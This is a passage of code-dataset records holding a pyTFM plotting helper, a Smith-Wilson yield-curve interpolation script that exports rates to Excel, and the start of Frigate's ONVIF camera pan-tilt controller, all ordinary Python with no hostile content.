mask_filtered = np.zeros(fx.shape)\n fx_filtered, fy_filtered = np.zeros(fx.shape), np.zeros(fx.shape)\n\n mask_uf = np.logical_or(fx != 0, fy != 0)\n out_line_graph, points = mask_to_graph(mask_uf, d=np.sqrt(2))\n circular_path = find_path_circular(out_line_graph, 0)\n circular_path = [x for i, x in enumerate(circular_path) if i % filter == 0]\n circular_path.append(circular_path[0]) # to plot a fully closed loop\n mask_filtered[points[circular_path][:, 0], points[circular_path][:, 1]] = 1\n mask_filtered = mask_filtered.astype(bool)\n\n fx_filtered[mask_filtered] = fx[mask_filtered]\n fy_filtered[mask_filtered] = fy[mask_filtered]\n return fx_filtered, fy_filtered\n\n\nfrom scipy.signal import convolve2d\n\n\ndef custom_edge_filter(arr):\n arr_out = copy.deepcopy(arr).astype(int)\n shape1 = np.array([[0, 1, 0], [1, 1, 0], [0, 0, 0]])\n shape2 = np.array([[0, 1, 0], [0, 1, 1], [0, 0, 0]])\n shape3 = np.array([[0, 0, 0], [0, 1, 1], [0, 1, 0]])\n shape4 = np.array([[0, 0, 0], [1, 1, 0], [0, 1, 0]])\n for s in [shape1, shape2, shape3, shape4]:\n rem_mask = convolve2d(arr, s, mode=\"same\") == 3\n arr_out[rem_mask] = 0\n return arr_out.astype(bool)\n", "sub_path": "analysis_and_testing/plotting_evaluation.py", "file_name": "plotting_evaluation.py", "file_ext": "py", "file_size_in_byte": 34242, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.insert", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "skimage.morphology.binary_erosion", "line_number": 23, "usage_type": "call"}, {"api_name": "pyTFM.graph_theory_for_cell_boundaries.mask_to_graph", "line_number": 25, "usage_type": "call"}, {"api_name": "pyTFM.graph_theory_for_cell_boundaries.find_path_circular", "line_number": 26, "usage_type": "call"}, {"api_name": "pyTFM.utilities_TFM.make_display_mask", "line_number": 37, "usage_type": "call"}, {"api_name": "pyTFM.utilities_TFM.make_display_mask", "line_number": 47, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 60, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 60, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 89, "usage_type": "name"}, {"api_name": "evaluation_functions.cut_arrays", "line_number": 248, "usage_type": "call"}, {"api_name": "evaluation_functions.cut_arrays", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 259, "usage_type": "call"}, {"api_name": "pyTFM.utilities_TFM.createFolder", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path", "line_number": 320, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path", "line_number": 331, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 341, "usage_type": "call"}, {"api_name": "os.path", "line_number": 341, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 347, "usage_type": "call"}, {"api_name": "os.path", "line_number": 347, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 393, "usage_type": "call"}, {"api_name": "os.path", "line_number": 393, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 403, "usage_type": "call"}, {"api_name": "os.path", "line_number": 403, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 416, "usage_type": "call"}, {"api_name": "os.path", "line_number": 416, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 426, "usage_type": "call"}, {"api_name": "os.path", "line_number": 426, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 440, "usage_type": "call"}, {"api_name": "os.path", "line_number": 440, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 446, "usage_type": "call"}, {"api_name": "os.path", "line_number": 446, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 452, "usage_type": "call"}, {"api_name": "os.path", "line_number": 452, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 456, "usage_type": "call"}, {"api_name": "os.path", "line_number": 456, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 488, "usage_type": "call"}, {"api_name": "os.path", "line_number": 488, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 492, "usage_type": "call"}, {"api_name": "os.path", "line_number": 492, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 513, "usage_type": "call"}, {"api_name": "os.path", "line_number": 513, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 535, "usage_type": "call"}, {"api_name": "os.path", "line_number": 535, "usage_type": "attribute"}, {"api_name": "pyTFM.utilities_TFM.createFolder", "line_number": 539, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 539, "usage_type": "call"}, {"api_name": "os.path", "line_number": 539, "usage_type": "attribute"}, {"api_name": "pyTFM.utilities_TFM.createFolder", "line_number": 552, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 552, "usage_type": "call"}, {"api_name": "os.path", "line_number": 552, "usage_type": "attribute"}, {"api_name": "pyTFM.utilities_TFM.createFolder", "line_number": 553, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 553, "usage_type": "call"}, {"api_name": "os.path", "line_number": 553, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 561, "usage_type": "call"}, {"api_name": "os.path", "line_number": 561, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 572, "usage_type": "call"}, {"api_name": "os.path", "line_number": 572, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 609, "usage_type": "call"}, {"api_name": "os.path", "line_number": 609, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 611, "usage_type": "call"}, {"api_name": "os.path", "line_number": 611, "usage_type": "attribute"}, {"api_name": "pyTFM.utilities_TFM.make_display_mask", "line_number": 651, "usage_type": "call"}, {"api_name": "pyTFM.graph_theory_for_cell_boundaries.mask_to_graph", "line_number": 661, "usage_type": "call"}, {"api_name": "pyTFM.graph_theory_for_cell_boundaries.find_path_circular", "line_number": 662, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 683, "usage_type": "call"}]} {"seq_id": "45446005", "text": "\n# coding: utf-8\n\n# In[1]:\n\n\nimport math\nimport numpy as np\nimport time\nimport pandas as pd\nimport os\nimport configparser #來存取ini文檔\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport xlsxwriter\n\ndef matmult(a,b): #input兩個矩陣返回乘法結果\n zip_b = zip(*b)\n # uncomment next line if python 3 : \n # zip_b = list(zip_b)\n return [[sum(ele_a*ele_b for ele_a, ele_b in zip(row_a, col_b)) \n for col_b in zip_b] for row_a in a]\n\ndef hh(z):\n return (z + math.exp(z*-1))/2\n\ndef Hmat(u, v):\n return hh(u+v) - hh(abs(u-v))\n\ndef Galfa(alfa, Q, mm, umax, nrofcoup, T2, Tau):\n h = []\n temp1 = []\n # for i in range(umax*nrofcoup):\n # h.append([])\n # for j in range(umax*nrofcoup):\n # h[i].append([])\n # for i in range(mm):\n # h.append([])\n # for j in range(1):\n # h[i].append([])\n\n for i in range(1, umax*nrofcoup+1):\n h.append([])\n for j in range(1, umax*nrofcoup+1):\n h[i-1].append(Hmat(alfa * i / nrofcoup, alfa * j / nrofcoup))\n\n for i in range(mm):\n temp1.append([])\n temp1[i].append(1 - sum(Q[i]))\n\n Q = np.matrix(Q)\n h = np.matrix(h)\n b = np.linalg.inv((Q*h)*Q.transpose())*temp1\n \n gamma = Q.transpose() * b\n temp2 = 0\n temp3 = 0\n for i in range(1, umax*nrofcoup+1):\n # print('temp2=='+str(temp2)+' gamma=='+str(gamma[i-1, 0]))\n temp2 = temp2 + gamma[i-1, 0] * i / nrofcoup\n temp3 = temp3 + gamma[i-1, 0] * np.sinh(alfa * i / nrofcoup)\n kappa = (1 + alfa * temp2) / temp3\n output = []\n output.append(alfa / abs(1 - kappa * math.exp(T2 * alfa)) - Tau)\n output.append(gamma)\n return output\n\ndef AlfaScan(lastalfa, stepsize, Q, mm, umax, nrofcoup, T2, Tau):\n '''\n 這邊可能有錯 要檢查迴圈\n '''\n alfaReturn = 0\n for alfa in np.arange(lastalfa + stepsize / 10 - stepsize, lastalfa, stepsize / 10):\n alfa = float(round(alfa, 7))\n galfa_output = Galfa(alfa, Q, mm, umax, nrofcoup, T2, Tau)\n alfaReturn = alfa\n if galfa_output[0] <= 0:\n break\n return [alfaReturn, galfa_output[1]]\n\ndef SmithWilsonBruteForce(Instrument, DataIn, nrofcoup, CRA, UFRac, alfamin, Tau, T2):\n precision = 6\n Tau = Tau / 10000\n nrofrates = 0\n for i in range(len(DataIn)):\n nrofrates += DataIn[i][0]\n # print('nrofrates=='+str(nrofrates))\n\n u = [] #len(nrofrates)\n r = [] #len(nrofrates)\n j = 0\n for i in range(len(DataIn)):\n if DataIn[i][0] == 1:\n j = j + 1\n u.append(DataIn[i][1])\n r.append(DataIn[i][2] - CRA / 10000)\n umax = max(u)\n # print('umax==='+str(umax))\n lnUFR = math.log(1+UFRac)\n # print('lnUFR==='+str(lnUFR))\n\n if Instrument == 'Zero':\n nrofcoup = 1\n \n q = []\n for i in range(nrofrates):\n q.append([])\n for j in range(umax*nrofcoup):\n q[i].append(0)\n # print('q是'+str(nrofrates)+'X'+str(umax*nrofcoup)+'陣列')\n if Instrument == 'Zero':\n for i in range(nrofrates):\n for j in range(nrofrates):\n if i != j:\n q[i][j] = 0\n else:\n q[i][u[i]-1] = math.exp(lnUFR*-1 * u[i]) * (math.pow((1 + r[i]),u[i]))\n elif Instrument == 'Swap' or Instrument == 'Bond':\n for i in range(nrofrates):\n for j in range(u[i]*nrofcoup-1):\n q[i][j] = math.exp(lnUFR*-1 * j / nrofcoup) * r[i] / nrofcoup\n q[i][j] = math.exp(lnUFR*-1 * j / nrofcoup) * (1 + r[i] / nrofcoup)\n galfa_output = Galfa(alfamin, q, nrofrates, umax, nrofcoup, T2, Tau)\n # print(galfa_output[0])\n # time.sleep(50)\n if galfa_output[0] <= 0:\n alfaReturn = alfamin\n gamma = galfa_output[1]\n else:\n stepsize = 0.1\n alfaReturn = 0\n for alfa in np.arange(alfamin+stepsize, 20, stepsize):\n alfa = float(round(alfa, 4))\n alfaReturn = alfa\n if Galfa(alfa, q, nrofrates, umax, nrofcoup, T2, Tau)[0] <= 0:\n break\n for i in range(1, precision):\n alfascanoutput = AlfaScan(alfaReturn, stepsize, q, nrofrates, umax, nrofcoup, T2, Tau)\n alfaReturn = alfascanoutput[0]\n stepsize = stepsize / 10\n gamma = alfascanoutput[1]\n\n h = []\n for i in range(121+1):\n h.append([])\n for j in range(umax*nrofcoup):\n h[i].append([])\n\n g = []\n for i in range(121+1):\n g.append([])\n for j in range(umax*nrofcoup):\n g[i].append([])\n\n for i in range(121+1):\n for j in range(1, umax*nrofcoup+1):\n h[i][j-1] = Hmat(alfaReturn * i, alfaReturn * j / nrofcoup)\n if j / nrofcoup > i:\n g[i][j-1] = (alfaReturn * (1 - math.exp(alfaReturn*-1 * j / nrofcoup) * np.cosh(alfaReturn * i)))\n else:\n g[i][j-1] = (alfaReturn * math.exp(alfaReturn*-1 * i) * np.sinh(alfaReturn * j / nrofcoup))\n \n tempDiscount = []\n tempintensity = []\n discount = []\n fwintensity = []\n yldintensity = []\n forwardac = []\n zeroac = []\n forwardcc = []\n zerocc = []\n\n temptempdiscount = (np.matrix(h)*gamma).transpose()\n temptempintensity = (np.matrix(g)*gamma).transpose()\n for i in range(121+1):\n tempDiscount.append(temptempdiscount[0,i])\n tempintensity.append(temptempintensity[0,i])\n temp = 0\n for i in range(1, umax*nrofcoup+1):\n temp = temp + (1 - math.exp(alfaReturn * -1 * i / nrofcoup)) * gamma[i-1, 0]\n\n yldintensity.append(lnUFR - alfaReturn * temp)\n fwintensity.append(yldintensity[0])\n discount.append(1)\n yldintensity.append(lnUFR - math.log(1 + tempDiscount[1]))\n fwintensity.append(lnUFR - tempintensity[1] / (1 + tempDiscount[1]))\n discount.append(math.exp(lnUFR*-1) * (1 + tempDiscount[1]))\n zeroac.append(0)\n zeroac.append(1 / discount[1] - 1)\n forwardac.append(0)\n forwardac.append(zeroac[1])\n for i in range(2, 121):\n yldintensity.append(lnUFR - math.log(1 + tempDiscount[i]) / i)\n fwintensity.append(lnUFR - tempintensity[i] / (1 + tempDiscount[i]))\n discount.append(math.exp(lnUFR * -1 * i) * (1 + tempDiscount[i]))\n zeroac.append(math.pow(1 / discount[i], (1 / i)) - 1) \n forwardac.append(discount[i - 1] / discount[i] - 1)\n \n yldintensity.append(0)\n fwintensity.append(0)\n zeroac.append(0)\n forwardac.append(0)\n discount.append(alfaReturn)\n\n forwardcc.append(0)\n zerocc.append(0)\n for i in range(1, 121):\n forwardcc.append(math.log(1 + forwardac[i]))\n zerocc.append(math.log(1 + zeroac[i]))\n forwardcc.append(0)\n zerocc.append(0)\n # print(len(discount))\n # print(len(yldintensity))\n # print(len(zeroac))\n # print(len(fwintensity))\n # print(len(forwardcc))\n # print(len(forwardac))\n # print(forwardcc)\n #zeroac forwardcc forwardac(少了第一項 index=1)有誤\n # print(yldintensity)\n return [discount, yldintensity, zeroac, fwintensity, forwardcc, forwardac]\n\n\n\ndef genDataIn(dataFileName, dataDate, needOneList): #needOneList會是1-10或1 5 10 其中一種\n dataIn = []\n dataFile = open(dataFileName, 'r')\n dataLines = dataFile.readlines()\n for data in dataLines:\n if dataDate == data.split(',')[0]: #???為啥需要這行\n for i in range(10):\n if i+1 in needOneList:\n dataIn.append([1, i+1, float(data.split(',')[i+1].replace('\\n', ''))])\n else:\n dataIn.append([0, i+1, float(data.split(',')[i+1].replace('\\n', ''))])\n return dataIn\n\ndef getDateList(dataFileName):\n dateList = []\n dataFile = open(dataFileName, 'r') #'r':讀取 'w': 新建檔案寫入(檔案可不存在，若存在則清空)\n dataLines = dataFile.readlines()\n for data in dataLines:\n dateList.append(data.split(',')[0]) # [0]: 使得datelist只有時間\n return dateList\n\n\n#main\n\n# 從config.ini讀取各參數\nconfig = configparser.ConfigParser() # 創建對象\nconfig.read('config.ini', encoding='utf-8')\ndataFileName = config.get('Parameter', 'DataFileName')\nInstrument = config.get('Parameter', 'Instrument')\nnrofcoup = float(config.get('Parameter', 'Nrofcoup'))\nCRA = float(config.get('Parameter', 'CRA'))\nUFRac = float(config.get('Parameter', 'UFRac'))\nalfamin = float(config.get('Parameter', 'Alfamin'))\nTau = float(config.get('Parameter', 'Tau'))\nT2 = float(config.get('Parameter', 'T2'))\nrateType = config.get('Parameter', 'RateType')\n\nneedOneBigList = []\nfor needOne in config.get('Parameter', 'LiquidMaturity').split('|'):\n needOneBigList.append([float(i) for i in needOne.split(',')])\n # needOneBigList:[[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0], [1.0, 5.0, 10.0]]\n\ndateList = getDateList(dataFileName)\n\ndirName = 'output'\nif os.path.isdir(dirName) == False:\n os.mkdir(dirName) #創建目錄\n\nfor k in range(len(needOneBigList)): # k代表用1-10資料 還是1 5 10資料\n row = 0\n col = 0\n workbook = xlsxwriter.Workbook(dirName+'/output'+str(k)+'_'+rateType+'.xlsx') #k=0代表用1-10, k=1代表用1 5 10\n worksheet = workbook.add_worksheet()\n # for i in range(len(dateList)):\n # if i == 0:\n # worksheet.write(row, col, 'Year')\n # else:\n # worksheet.write(row, col, str(i))\n # row = row + 1\n \n worksheet.write(0, col, 'Year')\n for date in dateList:\n row = 0\n col = col + 1\n print('正在運行 日期=='+date)\n worksheet.write_string(row, col, str(date)) #??? 這個感覺跟下面重複\n DataIn = genDataIn(dataFileName, date, needOneBigList[k])\n if rateType == 'forward':\n rateList = SmithWilsonBruteForce(Instrument, DataIn, nrofcoup, CRA, UFRac, alfamin, Tau, T2)[5]\n else:\n rateList = SmithWilsonBruteForce(Instrument, DataIn, nrofcoup, CRA, UFRac, alfamin, Tau, T2)[2]\n row = row + 1\n worksheet.write_string(row, col, str(date)) #???重複了ㄅ\n for i in range(len(rateList)-1):\n # print(rateList[i])\n worksheet.write_string(row, 0, str(i))\n if i == 0:\n continue\n else:\n worksheet.write_string(row, col, str(rateList[i]))\n row = row + 1 \n workbook.close()\n\n \n # df = pd.read_csv(dirName+'/output'+str(k)+'_'+rateType+'.csv', encoding='utf-8')\n # df2 = df.T\n # df2.to_csv(dirName+'/output'+str(k)+'_'+rateType+'.csv', header=False)\n\n df = pd.read_excel(dirName+'/output'+str(k)+'_'+rateType+'.xlsx')\n df.set_index('Year',inplace=True)\n\n name = df.columns\n\n x = rateType+'_'+str(UFRac)+'_Interpolation_'+str(T2) #儲存圖片的檔名＆圖片的大標名稱\n for i in range(0,len(name),6): #間隔6個月畫一條線\n plt.style.use('ggplot')\n plt.figure(num = 3,figsize= (20,13))\n plt.title(x)\n\n plt.xlabel('year',fontsize=30)\n plt.ylabel('forward rate', fontsize=30)\n plt.plot(df[name[i]][0:60].values,label = name[i]) #60年代表畫圖畫到60, 如果今天是收斂到40年可以改成40~\n # plt.legend(bbox_to_anchor=(1, 0),loc = 3,borderaxespad=0) #看要不要加圖標\n\n plt.savefig(dirName+'/output'+str(k)+'_'+x+'.png')\n\n\n# In[13]:\n\n\ndef genDataIn(dataFileName, dataDate, needOneList): #needOneList會是1-10或1 5 10 其中一種\n dataIn = []\n dataFile = open(dataFileName, 'r')\n dataLines = dataFile.readlines()\n for data in dataLines:\n if dataDate == data.split(',')[0]: #???為啥需要這行\n for i in range(10):\n if i+1 in needOneList:\n dataIn.append([1, i+1, float(data.split(',')[i+1].replace('\\n', ''))])\n else:\n dataIn.append([0, i+1, float(data.split(',')[i+1].replace('\\n', ''))])\n return dataIn\n\n\n# In[20]:\n\n\nDataIn = genDataIn(dataFileName, date, needOneBigList[1])\n\n\n# In[21]:\n\n\nDataIn\n\n\n# In[22]:\n\n\nDataIn = genDataIn(dataFileName, date, needOneBigList[0])\nDataIn\n\n", "sub_path": "財務工程/SWmodel.py", "file_name": "SWmodel.py", "file_ext": "py", "file_size_in_byte": 12163, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "math.exp", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.sinh", "line_number": 61, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 73, "usage_type": "call"}, {"api_name": "math.log", "line_number": 99, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 117, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 117, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 121, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 132, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.cosh", "line_number": 159, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.sinh", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 174, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 180, "usage_type": "call"}, {"api_name": "math.log", "line_number": 185, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 187, "usage_type": "call"}, {"api_name": "math.log", "line_number": 193, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 195, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 196, "usage_type": "call"}, {"api_name": "math.log", "line_number": 208, "usage_type": "call"}, {"api_name": "math.log", "line_number": 209, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path", "line_number": 270, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 271, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 276, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 313, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 320, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 320, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 320, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 321, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 321, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 322, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 322, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 324, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 325, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 325, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 326, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 326, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 329, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 329, "usage_type": "name"}]} {"seq_id": "186320060", "text": "\"\"\"Configure and control camera via onvif.\"\"\"\n\nimport datetime\nimport logging\nimport site\nfrom enum import Enum\n\nimport numpy\nfrom onvif import ONVIFCamera, ONVIFError\n\nfrom frigate.config import FrigateConfig\nfrom frigate.types import PTZMetricsTypes\n\nlogger = logging.getLogger(__name__)\n\n\nclass OnvifCommandEnum(str, Enum):\n \"\"\"Holds all possible move commands\"\"\"\n\n init = \"init\"\n move_down = \"move_down\"\n move_left = \"move_left\"\n move_right = \"move_right\"\n move_up = \"move_up\"\n preset = \"preset\"\n stop = \"stop\"\n zoom_in = \"zoom_in\"\n zoom_out = \"zoom_out\"\n\n\nclass OnvifController:\n def __init__(\n self, config: FrigateConfig, ptz_metrics: dict[str, PTZMetricsTypes]\n ) -> None:\n self.cams: dict[str, ONVIFCamera] = {}\n self.ptz_metrics = ptz_metrics\n\n for cam_name, cam in config.cameras.items():\n if not cam.enabled:\n continue\n\n if cam.onvif.host:\n try:\n self.cams[cam_name] = {\n \"onvif\": ONVIFCamera(\n cam.onvif.host,\n cam.onvif.port,\n cam.onvif.user,\n cam.onvif.password,\n wsdl_dir=site.getsitepackages()[0].replace(\n \"dist-packages\", \"site-packages\"\n )\n + \"/wsdl\",\n ),\n \"init\": False,\n \"active\": False,\n \"features\": [],\n \"presets\": {},\n }\n except ONVIFError as e:\n logger.error(f\"Onvif connection to {cam.name} failed: {e}\")\n\n def _init_onvif(self, camera_name: str) -> bool:\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n\n # create init services\n media = onvif.create_media_service()\n\n try:\n profile = media.GetProfiles()[0]\n except ONVIFError as e:\n logger.error(f\"Unable to connect to camera: {camera_name}: {e}\")\n return False\n\n ptz = onvif.create_ptz_service()\n request = ptz.create_type(\"GetConfigurationOptions\")\n request.ConfigurationToken = profile.PTZConfiguration.token\n ptz_config = ptz.GetConfigurationOptions(request)\n logger.debug(f\"Onvif config for {camera_name}: {ptz_config}\")\n\n fov_space_id = next(\n (\n i\n for i, space in enumerate(\n ptz_config.Spaces.RelativePanTiltTranslationSpace\n )\n if \"TranslationSpaceFov\" in space[\"URI\"]\n ),\n None,\n )\n\n # setup continuous moving request\n move_request = ptz.create_type(\"ContinuousMove\")\n move_request.ProfileToken = profile.token\n self.cams[camera_name][\"move_request\"] = move_request\n\n # setup relative moving request for autotracking\n move_request = ptz.create_type(\"RelativeMove\")\n move_request.ProfileToken = profile.token\n if move_request.Translation is None and fov_space_id is not None:\n move_request.Translation = ptz.GetStatus(\n {\"ProfileToken\": profile.token}\n ).Position\n move_request.Translation.PanTilt.space = ptz_config[\"Spaces\"][\n \"RelativePanTiltTranslationSpace\"\n ][fov_space_id][\"URI\"]\n\n try:\n move_request.Translation.Zoom.space = ptz_config[\"Spaces\"][\n \"RelativeZoomTranslationSpace\"\n ][0][\"URI\"]\n except Exception:\n # camera does not support relative zoom\n pass\n\n if move_request.Speed is None:\n move_request.Speed = ptz.GetStatus({\"ProfileToken\": profile.token}).Position\n self.cams[camera_name][\"relative_move_request\"] = move_request\n\n # setup relative moving request for autotracking\n move_request = ptz.create_type(\"AbsoluteMove\")\n move_request.ProfileToken = profile.token\n self.cams[camera_name][\"absolute_move_request\"] = move_request\n\n # status request for autotracking\n status_request = ptz.create_type(\"GetStatus\")\n status_request.ProfileToken = profile.token\n self.cams[camera_name][\"status_request\"] = status_request\n\n # setup existing presets\n try:\n presets: list[dict] = ptz.GetPresets({\"ProfileToken\": profile.token})\n except ONVIFError as e:\n logger.warning(f\"Unable to get presets from camera: {camera_name}: {e}\")\n presets = []\n\n for preset in presets:\n self.cams[camera_name][\"presets\"][preset[\"Name\"].lower()] = preset[\"token\"]\n\n # get list of supported features\n ptz_config = ptz.GetConfigurationOptions(request)\n supported_features = []\n\n if ptz_config.Spaces and ptz_config.Spaces.ContinuousPanTiltVelocitySpace:\n supported_features.append(\"pt\")\n\n if ptz_config.Spaces and ptz_config.Spaces.ContinuousZoomVelocitySpace:\n supported_features.append(\"zoom\")\n\n if ptz_config.Spaces and ptz_config.Spaces.RelativePanTiltTranslationSpace:\n supported_features.append(\"pt-r\")\n\n if ptz_config.Spaces and ptz_config.Spaces.RelativeZoomTranslationSpace:\n supported_features.append(\"zoom-r\")\n\n if fov_space_id is not None:\n supported_features.append(\"pt-r-fov\")\n self.cams[camera_name][\n \"relative_fov_range\"\n ] = ptz_config.Spaces.RelativePanTiltTranslationSpace[fov_space_id]\n\n self.cams[camera_name][\"relative_fov_supported\"] = fov_space_id is not None\n\n self.cams[camera_name][\"features\"] = supported_features\n\n self.cams[camera_name][\"init\"] = True\n return True\n\n def _stop(self, camera_name: str) -> None:\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n move_request = self.cams[camera_name][\"move_request\"]\n onvif.get_service(\"ptz\").Stop(\n {\n \"ProfileToken\": move_request.ProfileToken,\n \"PanTilt\": True,\n \"Zoom\": True,\n }\n )\n self.cams[camera_name][\"active\"] = False\n\n def _move(self, camera_name: str, command: OnvifCommandEnum) -> None:\n if self.cams[camera_name][\"active\"]:\n logger.warning(\n f\"{camera_name} is already performing an action, stopping...\"\n )\n self._stop(camera_name)\n\n self.cams[camera_name][\"active\"] = True\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n move_request = self.cams[camera_name][\"move_request\"]\n\n if command == OnvifCommandEnum.move_left:\n move_request.Velocity = {\"PanTilt\": {\"x\": -0.5, \"y\": 0}}\n elif command == OnvifCommandEnum.move_right:\n move_request.Velocity = {\"PanTilt\": {\"x\": 0.5, \"y\": 0}}\n elif command == OnvifCommandEnum.move_up:\n move_request.Velocity = {\n \"PanTilt\": {\n \"x\": 0,\n \"y\": 0.5,\n }\n }\n elif command == OnvifCommandEnum.move_down:\n move_request.Velocity = {\n \"PanTilt\": {\n \"x\": 0,\n \"y\": -0.5,\n }\n }\n\n onvif.get_service(\"ptz\").ContinuousMove(move_request)\n\n def _move_relative(self, camera_name: str, pan, tilt, speed) -> None:\n if not self.cams[camera_name][\"relative_fov_supported\"]:\n logger.error(f\"{camera_name} does not support ONVIF RelativeMove (FOV).\")\n return\n\n logger.debug(f\"{camera_name} called RelativeMove: pan: {pan} tilt: {tilt}\")\n\n if self.cams[camera_name][\"active\"]:\n logger.warning(\n f\"{camera_name} is already performing an action, not moving...\"\n )\n return\n\n self.cams[camera_name][\"active\"] = True\n self.ptz_metrics[camera_name][\"ptz_stopped\"].clear()\n logger.debug(f\"PTZ start time: {datetime.datetime.now().timestamp()}\")\n self.ptz_metrics[camera_name][\n \"ptz_start_time\"\n ].value = datetime.datetime.now().timestamp()\n self.ptz_metrics[camera_name][\"ptz_stop_time\"].value = 0\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n move_request = self.cams[camera_name][\"relative_move_request\"]\n\n # function takes in -1 to 1 for pan and tilt, interpolate to the values of the camera.\n # The onvif spec says this can report as +INF and -INF, so this may need to be modified\n pan = numpy.interp(\n pan,\n [-1, 1],\n [\n self.cams[camera_name][\"relative_fov_range\"][\"XRange\"][\"Min\"],\n self.cams[camera_name][\"relative_fov_range\"][\"XRange\"][\"Max\"],\n ],\n )\n tilt = numpy.interp(\n tilt,\n [-1, 1],\n [\n self.cams[camera_name][\"relative_fov_range\"][\"YRange\"][\"Min\"],\n self.cams[camera_name][\"relative_fov_range\"][\"YRange\"][\"Max\"],\n ],\n )\n\n move_request.Speed = {\n \"PanTilt\": {\n \"x\": speed,\n \"y\": speed,\n },\n \"Zoom\": 0,\n }\n\n move_request.Translation.PanTilt.x = pan\n move_request.Translation.PanTilt.y = tilt\n move_request.Translation.Zoom.x = 0\n\n onvif.get_service(\"ptz\").RelativeMove(move_request)\n\n self.cams[camera_name][\"active\"] = False\n\n def _move_to_preset(self, camera_name: str, preset: str) -> None:\n if preset not in self.cams[camera_name][\"presets\"]:\n logger.error(f\"{preset} is not a valid preset for {camera_name}\")\n return\n\n self.cams[camera_name][\"active\"] = True\n 